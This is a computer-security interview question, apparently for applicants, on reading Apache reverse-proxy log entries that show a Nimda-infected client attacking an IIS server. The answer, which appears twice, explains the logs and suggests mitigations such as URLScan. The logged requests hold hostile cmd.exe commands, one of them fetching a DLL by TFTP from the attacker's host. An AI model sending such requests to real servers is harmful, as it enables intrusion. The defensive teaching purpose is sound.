Computer security Question:
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Imagine that we are running an Apache reverse proxy server and one of the servers we are proxy for is a Windows IIS server. What does the log entry suggest has happened?
Answer:
Imagine that we are running an Apache reverse proxy server and one of the servers we are proxy for is a Windows IIS server. What does the log entry suggest has happened? What would you do in response to this entry?
68.48.142.117 - - [09/Mar/2004:22:22:57 -0500] "GET /c/winnt/system32/
cmd.exe?/c+dir HTTP/1.0" 200 566 "-" "-"
68.48.142.117 - - [09/Mar/2004:22:23:48 -0500] "GET /c/winnt/system32/
cmd.exe?/c+tftp%20-%2068.48.142.117%20GET%20cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 566 "-" "-"
Note: Goal of question – To see if the applicant is fluent at reading web server log files in the Common Log Format (CLF). In this scenario, the client system (68.48.142.117) is infected with the Nimda worm. These requests will not affect our Apache proxy server since this is a Microsoft vulnerability. While it does not impact Apache, the logs do indicate that the initial request was successful (status code of 200). The Nimda worm will only send the level 2 request (trying to use Trivial FTP to infect the target) if the initial request is successful. Depending on the exact proxying rules in place, it would be a good idea to inspect the internal IIS server to verify that it has not been compromised.
If you were not using Apache as the reverse proxy, what Microsoft application/tool could you use to mitigate this attack?
You could use either Microsoft's Internet and Security Acceleration (ISA) server as a front-end proxy or implement URLScan on the target IIS server. The urlscan.ini file has the AllowDotInPath directive which will block directory traversal attempts.
68.48.142.117 - - [09/Mar/2004:22:22:57 -0500] "GET /c/winnt/system32/
cmd.exe?/c+dir HTTP/1.0" 200 566 "-" "-"
68.48.142.117 - - [09/Mar/2004:22:23:48 -0500] "GET /c/winnt/system32/
cmd.exe?/c+tftp%20-%2068.48.142.117%20GET%20cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 566 "-" "-"
Note: Goal of question – To see if the applicant is fluent at reading web server log files in the Common Log Format (CLF). In this scenario, the client system (68.48.142.117) is infected with the Nimda worm. These requests will not affect our Apache proxy server since this is a Microsoft vulnerability. While it does not impact Apache, the logs do indicate that the initial request was successful (status code of 200). The Nimda worm will only send the level 2 request (trying to use Trivial FTP to infect the target) if the initial request is successful. Depending on the exact proxying rules in place, it would be a good idea to inspect the internal IIS server to verify that it has not been compromised.
If you were not using Apache as the reverse proxy, what Microsoft application/tool could you use to mitigate this attack?
You could use either Microsoft's Internet and Security Acceleration (ISA) server as a front-end proxy or implement URLScan on the target IIS server. The urlscan.ini file has the AllowDotInPath directive which will block directory traversal attempts.
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